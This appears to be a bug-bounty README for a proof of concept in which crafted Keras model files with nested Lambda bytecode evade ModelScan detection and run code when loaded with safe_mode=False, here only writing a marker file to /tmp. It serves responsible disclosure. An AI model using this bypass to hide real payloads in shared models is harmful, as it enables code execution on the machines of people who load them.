tld8386/huntr-mfv-keras-modelscan-bypass-poc

Huntr MFV PoC — Keras ModelScan scanner bypass

Research / bug-bounty PoC only. Marker-file payloads (write to /tmp/huntr_mfv_pwned*). No reverse shells, no credential theft payloads.

Files

• —A2_top_level_lambda_bytecode.keras
• —B2_nested_lambda_bytecode.keras
• —D_torch_module_wrapper.keras

Reproduce — ModelScan

pip install 'modelscan[h5py]' tensorflow
modelscan -p A2_top_level_lambda_bytecode.keras   # expect MEDIUM Lambda
modelscan -p B2_nested_lambda_bytecode.keras      # expect No issues

Reproduce — Keras load (ACE under unsafe load)

import pathlib
import numpy as np
from keras import models

marker = pathlib.Path("/tmp/huntr_mfv_pwned")
marker.unlink(missing_ok=True)

# Requires safe_mode=False (Keras 3.x default True blocks Lambda bytecode)
m = models.load_model("B2_nested_lambda_bytecode.keras", safe_mode=False)
m.predict(np.zeros((1, 4), dtype="float32"), verbose=0)
print(marker.read_text())  # "pwned"

Keras 3.15 default `safe_mode=True` refuses these Lambda models. The security claim is scanner false negative for models that remain weaponizable on documented unsafe-load paths.

Safety

• —Marker writes only under /tmp/huntr_mfv_*
• —Do not deploy these models to production
• —Responsible disclosure via huntr MFV process

Contact

Researcher handle on huntr: see platform profile linked to this HF account.